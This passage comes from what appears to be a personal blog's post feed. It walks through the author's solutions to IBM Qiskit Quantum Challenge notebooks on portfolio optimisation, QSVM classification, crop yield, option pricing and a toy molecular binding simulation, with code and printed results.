PortfolioOptimization class that can help do just that. ############################## # Provide your code here portfolio = PortfolioOptimization(expected_returns=mu, covariances=sigma, risk_factor=q, budget=budget) qp = portfolio.to_quadratic_program() ############################## print(qp) And if we look at our qp object, we should notice a familiar quadratic structure we’ve encountered in previous challenges. \\ This file has been generated by DOcplex \\ ENCODING=ISO-8859-1 \\Problem name: Portfolio optimization Minimize obj: - 0.000159702144 x_0 - 0.000476518943 x_1 - 0.000239123234 x_2 - 0.000098502901 x_3 + [ 0.000048831990 x_0^2 - 0.000002157372 x_0*x_1 - 0.000004259230 x_0*x_2 + 0.000001413200 x_0*x_3 + 0.000997360142 x_1^2 + 0.000007031887 x_1*x_2 + 0.000000737432 x_1*x_3 + 0.000287365468 x_2^2 + 0.000006416382 x_2*x_3 + 0.000192316728 x_3^2 ]/2 Subject To c0: x_0 + x_1 + x_2 + x_3 = 2 Bounds 0 &lt;= x_0 &lt;= 1 0 &lt;= x_1 &lt;= 1 0 &lt;= x_2 &lt;= 1 0 &lt;= x_3 &lt;= 1 Binaries x_0 x_1 x_2 x_3 End Excellent, I think we know where this headed now, so let’s go through and finish this off strong! Classical Solution As we normally do, let’s solve this classically so we have something to compare our quantum approaches. exact_mes = NumPyMinimumEigensolver() exact_eigensolver = MinimumEigenOptimizer(exact_mes) result = exact_eigensolver.solve(qp) print(result) --- optimal function value: -0.00023285626449450194 optimal value: [1. 0. 1. 0.] status: SUCCESS VQE Solution Now let’s go through a VQE solution. In this case the challenge provided us the optimizer already, so we just needed to create the parameterized circuit. optimizer = SLSQP(maxiter=1000) algorithm_globals.random_seed = 1234 backend = Aer.get_backend('statevector_simulator') ############################## # Provide your code here ry = TwoLocal(num_assets, 'ry', 'cz', reps=3, entanglement='full') quantum_instance = QuantumInstance(backend=backend, seed_simulator=seed, seed_transpiler=seed) vqe = VQE(ry, optimizer=optimizer, quantum_instance=quantum_instance) ############################## vqe_meo = MinimumEigenOptimizer(vqe) #please do not change this code result = vqe_meo.solve(qp) #please do not change this code print(result) #please do not change this code --- optimal function value: -0.00023285626449450194 optimal value: [1. 0. 1. 0.] status: SUCCESS And sure enough we see this matches our classical solution. QAOA Instead of duplicating the VQE solution for QAOA the challenge expanded the problem statement by allowing double the weight of individual stocks, and increasing our budget from 2 to 3. q2 = 0.5 #Set risk factor to 0.5 budget2 = 3 #Set budget to 3 portfolio2 = PortfolioOptimization(expected_returns=mu, covariances=sigma, risk_factor=q2, budget=budget2, bounds=[[0,2],[0,2],[0,2],[0,2]]) qp2 = portfolio2.to_quadratic_program() Now with the new portfolio quadratic function, we follow a similar approach and go through the QAOA solution. optimizer = SLSQP(maxiter=1000) algorithm_globals.random_seed = 1234 backend = Aer.get_backend('statevector_simulator') ############################## # Provide your code here quantum_instance = QuantumInstance(backend=backend, seed_simulator=seed, seed_transpiler=seed) qaoa = QAOA(optimizer=optimizer, reps=3, quantum_instance=quantum_instance) ############################## qaoa_meo = MinimumEigenOptimizer(qaoa) #please do not change this code result2 = qaoa_meo.solve(qp2) #please do not change this code print(result2) #please do not change this code --- optimal function value: -0.00032144003832501437 optimal value: [2. 0. 1. 0.] status: SUCCESS And just like that we’ve explored three separate ways to optimize our portfolio distribution, using real historical data. QSVM Image Classification In this challenge we end up exploring Quantum Support Vector Machines (QSVM) to predict image classifications. Our goal is to expand on classical Machine Learning techniques and see not only how to translate them to a quantum approach, but improve upon the classical performance opening potential future applications. **Goal** Implement a QSVM model for multiclass classification and predict labels accurately. QSVM is a quantum version of the support vector machine (SVM), a classical machine learning algorithm. There are various approaches to QSVM, some aim to accelerate computation assuming fault-tolerant quantum computers, while others aim to achieve higher expressive power assuming noisy, near-term devices. In this challenge, we will focus on the latter. Before we start solving the challenge we are presented with a breakdown on the various data encoding feature maps. The choice of which feature map we use will be influenced by the type of data we are working with understanding how these feature maps are structured will allow us to make a more educated choice. Data Encoding with Feature Maps The first step we need to do to leverage a quantum implementation of a SVM is to bring our classical data into a quantum state. Basically we cannot just throw our classical data into a quantum circuit. We need to prepare the data in a way that will be usable with our circuits and techniques. We accomplish this by leveraging Feature Maps \\(\\phi(\\mathbf{x})\\) to bring the classical feature vector \\(\\mathbf{x}\\) to the quantum state \\(|\\Phi(\\mathbf{x})\\rangle\\langle\\Phi(\\mathbf{x})|\\). This is facilitated by applying the unitary operation \\(\\mathcal{U}_{\\Phi(\\mathbf{x})}\\) on the initial state \\(|0\\rangle^{n}\\) where n is the number of features - the number of qubits being used for encoding. PauliFeatureMap The Pauli Feature Map contains layers of Hadamard gates interleaved with entangling blocks, \\(U_{\\Phi(\\mathbf{x})}\\), where within the entangling blocks, \\(U_{\\Phi(\\mathbf{x})} : P_i \\in \\{ I, X, Y, Z \\}\\) denotes the Pauli matrices used to entangle the qubits and the index \\(S\\) describes connectivities between different qubits or datapoints: \\(S \\in \\{\\binom{n}{k}\\ combinations,\\ k = 1,... n \\}\\). We can directly choose which pauli gates are used in our implementation if we have a direct need to customize the mapping. # 3 features, depth 1 map_pauli = PauliFeatureMap(feature_dimension=3, reps=1, paulis = ['X', 'Y', 'ZZ']) map_pauli.decompose().draw('mpl') We define that there will be 3 features, represented as qubits, and a single repetition of the entanglement blocks. ZFeatureMap The ZFeatureMap is defined as \\(k = 1, P_0 = Z\\). Since the approach does not leverage any entanglement between the qubits this reduces the featuremap to being easily modelled classically, and as such would not present a quantum advantage in usage. It is however still a featuremap that can be represented quantumly, regardless of lack of advantage. Shown below is what the circuit looks like on implementation. # 3 features, depth 2 map_z = ZFeatureMap(feature_dimension=3, reps=2) map_z.decompose().draw('mpl') ZZFeatureMap When \\(k = 2, P_0 = Z, P_1 = ZZ\\) this is called the ZZFeatureMap. In this approach we can also define the entanglement map and determine how the qubits are entangled amongst one another. In the first example you'll notice the qubits entangle in a linear cascade down the circuit, while the second shows a circular entanglement that cascades down and loops back to the start. # 3 features, depth 1, linear entanglement map_zz = ZZFeatureMap(feature_dimension=3, reps=1, entanglement='linear') map_zz.decompose().draw('mpl') # 3 features, depth 1, linear entanglement map_zz = ZZFeatureMap(feature_dimension=3, reps=1, entanglement='circular') map_zz.decompose().draw('mpl') Parameterized Circuits We can also create feature maps by using parameterized circuits of alternating rotation and entanglement layers. In both layers, parameterized circuit-blocks act on the circuit in a defined way. In the rotation layer, the blocks are applied stacked on top of each other, while in the entanglement layer according to the entanglement strategy. Each layer is repeated a number of times, and by default a final rotation layer is appended. The main difference between NLocal and TwoLocal is that NLocal can have an arbitrary circuit block size, even smaller than the number of total qubits, while TwoLocal applies single qubit gates on all qubits and the entanglement uses two-qubit gates. Let’s show the two implementing the same featuremap to illustrate the differences. TwoLocal twolocal = TwoLocal(num_qubits=3, reps=2, rotation_blocks=['ry','rz'], entanglement_blocks='cx', entanglement='circular', insert_barriers=True) twolocal.decompose().draw('mpl') NLocal twolocaln = NLocal(num_qubits=3, reps=2, rotation_blocks=[RYGate(Parameter('a')), RZGate(Parameter('a'))], entanglement_blocks=CXGate(), entanglement='circular', insert_barriers=True) twolocaln.decompose().draw('mpl') Quantum Kernel With a better understanding of how to encode our data the next step is to understand how to determine the closeness between two sets of data. A quantum feature map, \\(\\phi(\\mathbf{x})\\), naturally gives rise to a quantum kernel, \\(k(\\mathbf{x}_i,\\mathbf{x}_j)= \\phi(\\mathbf{x}_j)^\\dagger\\phi(\\mathbf{x}_i)\\), which can be seen as a measure of similarity: \\(k(\\mathbf{x}_i,\\mathbf{x}_j)\\) is large when \\(\\mathbf{x}_i\\) and \\(\\mathbf{x}_j\\) are close. It might be clearer if we look at an example. First, let’s create our feature map and kernel. In this case since we have 5 features we are working with N_DIM will be 5, leading to 5 qubits in our featuremap. pauli_map = PauliFeatureMap(feature_dimension=N_DIM, reps=1, paulis = ['X', 'Y', 'ZZ']) pauli_kernel = QuantumKernel(feature_map=pauli_map, quantum_instance=Aer.get_backend('statevector_simulator')) Now let’s look at our sample data, and compare the first and second sets that we will be working with. print(f'First training data : {sample_train[0]}') print(f'Second training data: {sample_train[1]}') --- First training data : [-0.4755618 -0.42255659 0.30043225 0.00532007 -0.89492354] Second training data: [ 0.05258865 -0.6720529 -0.28177088 0.02276329 -0.38711636] Putting them both together, let’s embed our sample data into the featuremap we selected. pauli_circuit = pauli_kernel.construct_circuit(sample_train[0], sample_train[1]) pauli_circuit.decompose().decompose().draw(output='mpl') We then simulate the circuit and calculate the transition amplitude for the two data sets. backend = Aer.get_backend('qasm_simulator') job = execute(pauli_circuit, backend, shots=8192, seed_simulator=1024, seed_transpiler=1024) counts = job.result().get_counts(pauli_circuit) print(f\"Transition amplitude: {counts['0'*N_DIM]/sum(counts.values())}\") --- Transition amplitude: 0.028564453125 What would happen if we changed the two data sets we are using? If we used the same data set in a perfect 1-to-1 matching, how would that change the transition amplitude? I leave it to you all to repeat the experiment above and find out! QSVM for 3-class classification Everything we’ve looked at so far has prepared us for the challenge component. With the techniques explored we are presented with the actual challenge statement. In my solution I approached with the one-vs-rest approach. What this ultimately means is that knowing the data set had three possible breakdowns I will need to implement three different classifiers together, then combine the output to hopefully come out with the right label. One-vs-Rest: In this approach, multi-class classification is achieved by combining classifiers for each class that classifies the class as positive and the others as negative. Since one classifier is required for each class, the total number of classifiers required for N-class classification is N. The advantage is that fewer classifiers are needed, and the disadvantage is that the labels are likely to be imbalanced in each classification. The approach we will be taking is loosely broken down to the following steps: Load the data Preprocess the data Standardization Principal component analysis (PCA) Normalization Run through label 0 classification Run through label 2 classification Run through label 3 classification For test data determine which label had the highest percentage chance And putting it all together we get the following solution. # Load MNIST dataset DATA_PATH = './resources/ch3_part2.npz' data = np.load(DATA_PATH) sample_train = data['sample_train'] labels_train = data['labels_train'] sample_test = data['sample_test'] # Split train data sample_train, sample_val, labels_train, labels_val = train_test_split( sample_train, labels_train, test_size=0.2, random_state=42) # Standardize standard_scaler = StandardScaler() sample_train = standard_scaler.fit_transform(sample_train) sample_val = standard_scaler.transform(sample_val) sample_test = standard_scaler.transform(sample_test) # Reduce dimensions N_DIM = 5 pca = PCA(n_components=N_DIM) sample_train = pca.fit_transform(sample_train) sample_val = pca.transform(sample_val) sample_test = pca.transform(sample_test) # Normalize min_max_scaler = MinMaxScaler((-1, 1)) sample_train = min_max_scaler.fit_transform(sample_train) sample_val = min_max_scaler.transform(sample_val) sample_test = min_max_scaler.transform(sample_test) # 0 vs. rest labels_train_0 = np.where(labels_train==0, 1, 0) labels_val_0 = np.where(labels_val==0, 1, 0) pauli_map_0 = ZZFeatureMap(feature_dimension=N_DIM, reps=1, entanglement='linear') kernel_0 = QuantumKernel(feature_map=pauli_map_0, quantum_instance=Aer.get_backend('statevector_simulator')) svc_0 = SVC(kernel='precomputed', probability=True) matrix_train_0 = kernel_0.evaluate(x_vec=sample_train) svc_0.fit(matrix_train_0, labels_train_0) matrix_val_0 = kernel_0.evaluate(x_vec=sample_val, y_vec=sample_train) pauli_score_0 = svc_0.score(matrix_val_0, labels_val_0) print(f'Accuracy of discriminating between label 0 and others: {pauli_score_0*100}%') matrix_test_0 = kernel_0.evaluate(x_vec=sample_test, y_vec=sample_train) pred_0 = svc_0.predict_proba(matrix_test_0)[:, 1] print(f'Probability of label 0: {np.round(pred_0, 2)}') # 2 vs. rest labels_train_2 = np.where(labels_train==2, 1, 0) labels_val_2 = np.where(labels_val==2, 1, 0) pauli_map_2 = ZZFeatureMap(feature_dimension=N_DIM, reps=1, entanglement='linear') kernel_2 = QuantumKernel(feature_map=pauli_map_2, quantum_instance=Aer.get_backend('statevector_simulator')) svc_2 = SVC(kernel='precomputed', probability=True) matrix_train_2 = kernel_2.evaluate(x_vec=sample_train) svc_2.fit(matrix_train_2, labels_train_2) matrix_val_2 = kernel_2.evaluate(x_vec=sample_val, y_vec=sample_train) pauli_score_2 = svc_2.score(matrix_val_2, labels_val_2) print(f'Accuracy of discriminating between label 2 and others: {pauli_score_2*100}%') matrix_test_2 = kernel_2.evaluate(x_vec=sample_test, y_vec=sample_train) pred_2 = svc_2.predict_proba(matrix_test_2)[:, 1] print(f'Probability of label 2: {np.round(pred_2, 2)}') # 3 vs. rest labels_train_3 = np.where(labels_train==3, 1, 0) labels_val_3 = np.where(labels_val==3, 1, 0) pauli_map_3 = ZZFeatureMap(feature_dimension=N_DIM, reps=1, entanglement='linear') kernel_3 = QuantumKernel(feature_map=pauli_map_3, quantum_instance=Aer.get_backend('statevector_simulator')) svc_3 = SVC(kernel='precomputed', probability=True) matrix_train_3 = kernel_3.evaluate(x_vec=sample_train) svc_3.fit(matrix_train_3, labels_train_3) matrix_val_3 = kernel_3.evaluate(x_vec=sample_val, y_vec=sample_train) pauli_score_3 = svc_3.score(matrix_val_3, labels_val_3) print(f'Accuracy of discriminating between label 3 and others: {pauli_score_3*100}%') matrix_test_3 = kernel_3.evaluate(x_vec=sample_test, y_vec=sample_train) pred_3 = svc_3.predict_proba(matrix_test_3)[:, 1] print(f'Probability of label 3: {np.round(pred_3, 2)}') pred_test = [] i=0 while i &lt; pred_0.size: if pred_0[i] &gt; pred_2[i] and pred_0[i] &gt; pred_3[i]: print (f'{np.round(pred_0[i], 2)} , {np.round(pred_2[i], 2)} , {np.round(pred_3[i], 2)} = 0') pred_test.append(0) if pred_2[i] &gt; pred_0[i] and pred_2[i] &gt; pred_3[i]: print (f'{np.round(pred_0[i], 2)} , {np.round(pred_2[i], 2)} , {np.round(pred_3[i], 2)} = 2') pred_test.append(2) if pred_3[i] &gt; pred_2[i] and pred_3[i] &gt; pred_0[i]: print (f'{np.round(pred_0[i], 2)} , {np.round(pred_2[i], 2)} , {np.round(pred_3[i], 2)} = 3') pred_test.append(3) i=i+1 print(pred_test) pred_test = np.array(pred_test) print(pred_test) ############################## grade_ex3c(pred_test, sample_train, standard_scaler, pca, min_max_scaler, kernel_0, kernel_2, kernel_3, svc_0, svc_2, svc_3) I added quite a few print statements and breaks throughout the testing process to see if my adjustments were making any differences. By the end I was able to quickly visualize what each testing data entry would look like from a probability perspective and how that influenced the final selection. After a series of adjustments to the featuremap I was able to get well above the 70% threshold requirement on the training data and was thankfully rewarded with a successful submission to the grader. Accuracy of discriminating between label 0 and others: 95.0% Probability of label 0: [0.97 0.96 0.07 0.19 0.11 0.08 0.96 0.51 0.97 0.94 0.09 0.47 0.05 0.38 0.1 0.06 0.12 0.85 0.1 0.22] Accuracy of discriminating between label 2 and others: 85.0% Probability of label 2: [0.05 0.06 0.04 0.18 0.18 0.19 0.07 0.44 0.05 0.07 0.1 0.42 0.94 0.6 0.12 0.96 0.09 0.06 0.24 0.55] Accuracy of discriminating between label 3 and others: 95.0% Probability of label 3: [0.07 0.07 0.91 0.57 0.65 0.71 0.04 0.05 0.07 0.06 0.82 0.07 0.08 0.09 0.84 0.06 0.81 0.13 0.71 0.09] 0.97 , 0.05 , 0.07 = 0 0.96 , 0.06 , 0.07 = 0 0.07 , 0.04 , 0.91 = 3 0.19 , 0.18 , 0.57 = 3 0.11 , 0.18 , 0.65 = 3 0.08 , 0.19 , 0.71 = 3 0.96 , 0.07 , 0.04 = 0 0.51 , 0.44 , 0.05 = 0 0.97 , 0.05 , 0.07 = 0 0.94 , 0.07 , 0.06 = 0 0.09 , 0.1 , 0.82 = 3 0.47 , 0.42 , 0.07 = 0 0.05 , 0.94 , 0.08 = 2 0.38 , 0.6 , 0.09 = 2 0.1 , 0.12 , 0.84 = 3 0.06 , 0.96 , 0.06 = 2 0.12 , 0.09 , 0.81 = 3 0.85 , 0.06 , 0.13 = 0 0.1 , 0.24 , 0.71 = 3 0.22 , 0.55 , 0.09 = 2 [0, 0, 3, 3, 3, 3, 0, 0, 0, 0, 3, 0, 2, 2, 3, 2, 3, 0, 3, 2] [0 0 3 3 3 3 0 0 0 0 3 0 2 2 3 2 3 0 3 2] Submitting your answer for 3c. Please wait... Congratulations 🎉! Your answer is correct and has been submitted. Your score is 282. Conclusion My experience with previous IBM Qiskit events has been positive and this event was no exception. I mentioned at the start of this article that this event felt like a personal pivotal point in my quantum journey. I went from reading theoretical approaches of quantum computing back in the mid 2000s, to applying those conceptual theories in code as of 2019. Now with this event just a few short years later I feel that next step of solving something practical is much, much closer. The two challenges of the event I covered were, while still arguably toy examples, still using real data publicly available. It would not be a stretch to expand either of the challenges to either include more stocks and boundaries, or a larger pool of potential classifications. As the engineering challenge of designing and creating reliable Quantum hardware continues to make progress, we are moving closer and closer to a time where we are able to integrate quantum computing to our daily lives. The time is now to start learning how this integration can take place and be ready for when it is possible. Excited to participate in the next event and see where this journey continues! Thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge - Africa 2021", "url": "/quantum-computing/2022/04/16/ibm-quantum-challenge-africa2021/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum challenge", "date": "2022-04-16 08:00:00 -0400", "content": "Introduction I do not think I can give a better introduction to this challenge than the verbiage on the first notebook: Quantum Computing has the potential to revolutionize computing, as it can solve problems that are not possible to solve on a classical computer. This extra ability that quantum computers have is called quantum advantage. To achieve this goal, the world needs passionate and competent end-users: those who know how to apply the technology to their field. In this challenge you will be exposed, at a high-level, to quantum computing through Qiskit. As current or future users of quantum computers, you need to know what problems are appropriate for quantum computation, how to structure the problem model/inputs so that they are compatible with your chosen algorithm, and how to execute a given algorithm and quantum solution to solve the problem. Preparing for a quantum future starts now. By learning how to model and apply our current problems prepares us to tackle future issues which we may not even be aware of yet. Each and every of these challenges is another stepping stone in our journey of quantum learning. With that said, let us dive into the challenges! Crop Yield Our first challenge tasks us with finding optimal crop distributions given a set of land and types of crops we can plant. The goal is to maximize our food output. What we will soon learn is that this type of problem can be modelled as a Quadratic equation, and the minimum of the equation will not only give us the most efficient food output, but this type of problem is something that Quantum computers excel at doing. Quadratic Equation Model Let us start off with how a quadratic equation looks like with an example and constraints. The next step is to convert it to usable code. Qiskit has a useful QuadraticProgram module that allows us to do just that. quadprog = QuadraticProgram(name=\"example 1\") quadprog.integer_var(name=\"x_1\", lowerbound=0, upperbound=4) quadprog.integer_var(name=\"x_2\", lowerbound=-2, upperbound=2) quadprog.integer_var(name=\"x_3\", lowerbound=-2, upperbound=4) quadprog.minimize( linear={\"x_3\": -6}, quadratic={(\"x_1\", \"x_1\"): 1, (\"x_2\", \"x_2\"): 1, (\"x_1\", \"x_2\"): -1}, ) quadprog.linear_constraint(linear={\"x_1\": 1, \"x_2\": 1}, sense=\"=\", rhs=2) quadprog.quadratic_constraint(quadratic={(\"x_2\", \"x_3\"): 1}, sense=\"&gt;=\", rhs=1) Then if we print out the Linear Programming string we can confirm that it looks right. print(quadprog.export_as_lp_string()) \\ This file has been generated by DOcplex \\ ENCODING=ISO-8859-1 \\Problem name: example 1 Minimize obj: - 6 x_3 + [ 2 x_1^2 - 2 x_1*x_2 + 2 x_2^2 ]/2 Subject To c0: x_1 + x_2 = 2 q0: [ x_2*x_3 ] &gt;= 1 Bounds x_1 &lt;= 4 -2 &lt;= x_2 &lt;= 2 -2 &lt;= x_3 &lt;= 4 Generals x_1 x_2 x_3 End That does indeed look right based on our example. Time to see if we can use this knowledge and apply it to the crop yield challenge! Crop Yield Application We are given a problem set of 3 hectares of land and various constraints on the crops we can grow. We can then take the same approach as the example and model this to code we can use with a quantum computer. def cropyield_quadratic_program(): cropyield = QuadraticProgram(name=\"Crop Yield\") ############################## # Put your implementation here # Setting integers and bounds cropyield.integer_var(name=\"Wheat\", lowerbound=0, upperbound=1) cropyield.integer_var(name=\"Soybeans\", lowerbound=0, upperbound=1) cropyield.integer_var(name=\"Maize\", lowerbound=0, upperbound=1) cropyield.integer_var(name=\"PushPull\", lowerbound=0, upperbound=1) # Set the quadratic to maximize cropyield.maximize( linear={\"Wheat\": 2,\"Soybeans\": 1,\"Maize\": 4}, quadratic={(\"Wheat\", \"Soybeans\"): 2.4, (\"Wheat\", \"Maize\"): 4, (\"Wheat\", \"PushPull\"): 4, (\"Soybeans\", \"Maize\"): 2, (\"Soybeans\", \"PushPull\"): 1, (\"Maize\", \"PushPull\"): 5}, ) cropyield.linear_constraint(linear={\"Wheat\": 1, \"Soybeans\": 1,\"Maize\": 1, \"PushPull\": 1}, sense=\"&lt;=\", rhs=3) ############################## return cropyield Classical Solution We shall solve the equation three separate ways - the first avoiding the quantum world and using a classic Numpy approach. def get_classical_solution_for(quadprog: QuadraticProgram): # Create solver solver = NumPyMinimumEigensolver() # Create optimizer for solver optimizer = MinimumEigenOptimizer(solver) # Return result from optimizer return optimizer.solve(quadprog) Solution found using the classical method: Maximum crop-yield is 19.0 tons Crops used are: 1.0 ha of Wheat 0.0 ha of Soybeans 1.0 ha of Maize 1.0 ha of PushPull And with that we have a baseline to work with. Let’s repeat the solution using two quantum methods. VQE Solution The first quantum approach we will explore is the Variational Quantum Eigensolver algorithm, or VQE. The algorithm uses a variational technique to find the minimum eigenvalue of the Hamiltonian 𝐻 of a given system. An instance of VQE requires defining two algorithmic sub-components: a trial state (ansatz) which is a QuantumCircuit, and one of the classical optimizers. The ansatz is varied, via its set of parameters, by the optimizer, such that it works towards a state, as determined by the parameters applied to the ansatz, that will result in the minimum expectation value being measured of the input operator (Hamiltonian). def get_VQE_solution_for(quadprog: QuadraticProgram, quantumInstance: QuantumInstance, optimizer=None,): # Create solver and optimizer solver = VQE(optimizer=optimizer, quantum_instance=quantumInstance, callback=callback) # Create optimizer for solver optimizer = MinimumEigenOptimizer(solver) # Get result from optimizer result = optimizer.solve(quadprog) return result, _eval_count Solution found using the VQE method: Maximum crop-yield is 19.0 tons Crops used are: 1.0 ha of Wheat 0.0 ha of Soybeans 1.0 ha of Maize 1.0 ha of PushPull The solution was found within 25 evaluations of VQE QAOA Solution The second quantum solution we will explore is the Quantum Approximate Optimization Algorithm, or QAOA. The QAOA implementation directly extends VQE and inherits VQE’s optimization structure. However, unlike VQE, which can be configured with arbitrary ansatzes, QAOA uses its own fine-tuned ansatz, which comprises 𝑝 parameterized global 𝑥 rotations and 𝑝 different parameterizations of the problem hamiltonian. QAOA is thus principally configured by the single integer parameter, p, which dictates the depth of the ansatz, and thus affects the approximation quality. Let’s apply it and see if it not only finds the same solution, but if the fine-tuned ansatz also allows us to reduce the amount of evaluations required. def get_QAOA_solution_for(quadprog: QuadraticProgram, quantumInstance: QuantumInstance, optimizer=None,): # Create solver solver = QAOA(optimizer=optimizer, quantum_instance=quantumInstance, callback=callback,) # Create optimizer for solver optimizer = MinimumEigenOptimizer(solver) # Get result from optimizer result = optimizer.solve(quadprog) return result, _eval_count Solution found using the QAOA method: Maximum crop-yield is 19.0 tons Crops used are: 1.0 ha of Wheat 0.0 ha of Soybeans 1.0 ha of Maize 1.0 ha of PushPull The solution was found within 3 evaluations of QAOA. Portfolio Optimization The second of the problems in this challenge revolves around exploring a Monte Carlo sampling to help valuate Options pricing. It has been shown that when applying these techniques to quantum computers we are able to achieve a quadratic speedup in comparison to the classical approach. Our challenge can be broken down into three steps: Let’s use a classical approach first to show how it works in action. Classical Solution Using a fictitious QuantumTech share, we were tasked with filling in the appropriate details. We are essentially creating many possible realities, then computing the average. A Monte Carlo approach simply samples random values for the parameters of your function from an underlying distribution and computes the function multiple times, each time using a different set of randomly sampled values. In doing so, we can obtain an expected value for the function we are trying to evaluate by taking an average over all the computed values of the function # Monte Carlo valuation of a European call option # set a random seed to reproduce our results np.random.seed(42) # set the parameters S0 = 50 # initial price of the underlying asset K = 55 # strike price r = 0.05 # average return of the underlying sigma = 0.4 # volatility of the underlying T = 1 # time till execution t = 30 # number of time steps we want to divide T in dt = T / t # incremental time step size M = 1000 # number of paths to simulate # Simulating M price paths with t time steps # sum instead of cumsum would also do if only the final values at end of the month (i.e. at time T) are of interest S = S0 * np.exp(np.cumsum((r - 0.5 * sigma ** 2) * dt + sigma * math.sqrt(dt)* np.random.standard_normal((t + 1, M)), axis=0)) # Calculating the Monte Carlo estimator for the expected payoff P_call = sum(np.maximum(S[-1] - K, 0)) / M # Results output print(\"The call option value is: {:0.2f} ZAR.\\n\".format(P_call)) Which when executed, the simple example returns us a target price. The call option value is: 7.64 ZAR. While we have the average, let’s look at the distribution of the various “realities” we created as part of the Monte Carlo approach. Alright we have a good grasp on how this looks like classically. Let’s take a look at the quantum approach and how we can get a quadratic speedup. Quantum Solution To convert our classical approach to a quantum one we would need to perform three steps. Represent the probability distribution P describing the evolution of the share price of QuantumTech on a quantum computer. Construct the quantum model which computes the payoff of the option,f(X). Calculate the expectation value of the payoff Ep[f(X)] Quantum Uncertainty Model Returning to our QuantumTech example, the first component of our option pricing model is to create a quantum circuit that takes in the probability distribution implied. # number of qubits to represent the uncertainty/distribution num_uncertainty_qubits = 2 # parameters for considered random distribution S = 50 # initial spot price strike_price = 55 vol = 0.4 # volatility of 40% r = 0.05 # annual interest rate of 5% T = 30 / 365 # 30 days to maturity # resulting parameters for log-normal distribution mu = ((r - 0.5 * vol**2) * T + np.log(S)) sigma = vol * np.sqrt(T) mean = np.exp(mu + sigma**2/2) variance = (np.exp(sigma**2) - 1) * np.exp(2*mu + sigma**2) stddev = np.sqrt(variance) # lowest and highest value considered for the spot price; in between, an equidistant discretization is considered. # we truncate the distribution to the interval defined by 2 standard deviations around the mean low = np.maximum(0, mean - 2*stddev) high = mean + 2*stddev # construct circuit factory for uncertainty model uncertainty_model = LogNormalDistribution(num_uncertainty_qubits, mu=mu, sigma=sigma**2, bounds=(low, high)) Payoff Function Let’s have a look at the payoff function for our QuantumTech option. Recall that the payoff function equals zero as long as the share price in 1 months time, St, is less than the strike price K and then increases linearly thereafter. The code below illustrates this. Evaluate Expected Payoff Lastly, we can use Quantum Amplitude Estimation to compute the expected payoff of the option. Qiskit has a built-in module, EuropeanCallPricing which we can leverage to make this happen. from qiskit_finance.applications.estimation import EuropeanCallPricing european_call_pricing = EuropeanCallPricing(num_state_qubits=num_uncertainty_qubits, strike_price=strike_price, rescaling_factor=0.25, bounds=(low, high), uncertainty_model=uncertainty_model) # evaluate exact expected value (normalized to the [0, 1] interval) exact_value = np.dot(uncertainty_model.probabilities, y) conf_int = np.array(result.confidence_interval_processed) print('Exact value: \\t%.4f' % exact_value) print('Estimated value: \\t%.4f' % (european_call_pricing.interpret(result))) print('Estimation error: \\t%.4f' %(np.abs(exact_value-european_call_pricing.interpret(result)))) print('Confidence interval:\\t[%.4f, %.4f]' % tuple(conf_int)) Exact value: \t0.5199 Estimated value: \t0.4985 Estimation error: \t0.0214 Confidence interval:\t[-0.4018, 1.3988] One of the challenge components of this notebook was also to find a more accurate representation than above. While we saw how to implement the overall process, we ideally would want to reduce the error as much as possible and have our estimated values as close to the exact values as we can. By tweaking the various variables we are able to accomplish just that. num_uncertainty_qubits = 2 low = np.maximum(0, mean - 2*stddev) high = mean + 2*stddev epsilon = 0.08 alpha = 0.06 shots = 10 simulator = 'qasm_simulator' # Run this cell once you are ready to submit your answer from qc_grader import grade_ex2a solutions = [num_uncertainty_qubits, low, high, epsilon, alpha, shots, simulator] grade_ex2a(solutions) Quantum Chemistry Quantum computing promises spectacular improvements in drug-design. In particular, in order to design new anti-retrovirals it is important to perform chemical simulations to confirm that the anti-retroviral binds with the virus protein. Such simulations are notoriously hard and sometimes ineffective on classical supercomputers. Quantum computers promise more accurate simulations allowing for a better drug-design workflow. In this challenge we will explore the VQE approach more in-depth and attempt to see whether our toy anti-retroviral molecule binds with a toy virus. Define Protease/Anti-Retroviral We are given the toy Protease to use in our challenge. We are also given our toy Anti-Retroviral. These two items will be used in the next steps where our goal is to see if we are able to bond both of them. Model the Macro Molecule Now that we know what our Macro Molecule should look like, we can use the previous examples in the notebook to help model our new one. In theory we should be able to add on the Anti-Retroviral, which should just be the Carbon, to the existing model we had for the Protease. molecular_variation = Molecule.absolute_stretching specific_molecular_variation = apply_variation_to_atom_pair(molecular_variation, atom_pair=(6, 1)) macromolecule = Molecule(geometry= [['O', [1.1280, 0.2091, 0.0000]], ['N', [-1.1878, 0.1791, 0.0000]], ['C', [0.0598, -0.3882, 0.0000]], ['H', [-1.3085, 1.1864, 0.0001]], ['H', [-2.0305, -0.3861, -0.0001]], ['H', [-0.0014, -1.4883, -0.0001]], ['C', [-0.1805, 1.3955, 0.0000]]], charge=0, multiplicity=1, degrees_of_freedom=[specific_molecular_variation]) #\"O\": (1.1280, 0.2091, 0.0000) #\"N\": (-1.1878, 0.1791, 0.0000) #\"C\": (0.0598, -0.3882, 0.0000) #\"H\": (-1.3085, 1.1864, 0.0001) #\"H\": (-2.0305, -0.3861, -0.0001) #\"H\": (-0.0014, -1.4883, -0.0001) Energy Landscape - Does It Bind? Following the example earlier in the notebook we can model up the binding interaction and plot out the energy landscape to see if our toy example binds. def construct_hamiltonian_solve_ground_state( molecule, num_electrons=2, num_molecular_orbitals=2, chemistry_inspired=True, hardware_inspired_trial=None, vqe=True, perturbation_steps=np.linspace(-1, 1, 3), ): \"\"\"Creates fermionic Hamiltonion and solves for the energy surface. Args: molecule (Union[qiskit_nature.drivers.molecule.Molecule, NoneType]): The molecule to simulate. num_electrons (int, optional): Number of electrons for the `ActiveSpaceTransformer`. Defaults to 2. num_molecular_orbitals (int, optional): Number of electron orbitals for the `ActiveSpaceTransformer`. Defaults to 2. chemistry_inspired (bool, optional): Whether to create a chemistry inspired trial state. `hardware_inspired_trial` must be `None` when used. Defaults to True. hardware_inspired_trial (QuantumCircuit, optional): The hardware inspired trial state to use. `chemistry_inspired` must be False when used. Defaults to None. vqe (bool, optional): Whether to use VQE to calculate the energy surface. Uses `NumPyMinimumEigensolver if False. Defaults to True. perturbation_steps (Union(list,numpy.ndarray), optional): The points along the degrees of freedom to evaluate, in this case a distance in angstroms. Defaults to np.linspace(-1, 1, 3). Raises: RuntimeError: `chemistry_inspired` and `hardware_inspired_trial` cannot be used together. Either `chemistry_inspired` is False or `hardware_inspired_trial` is `None`. Returns: 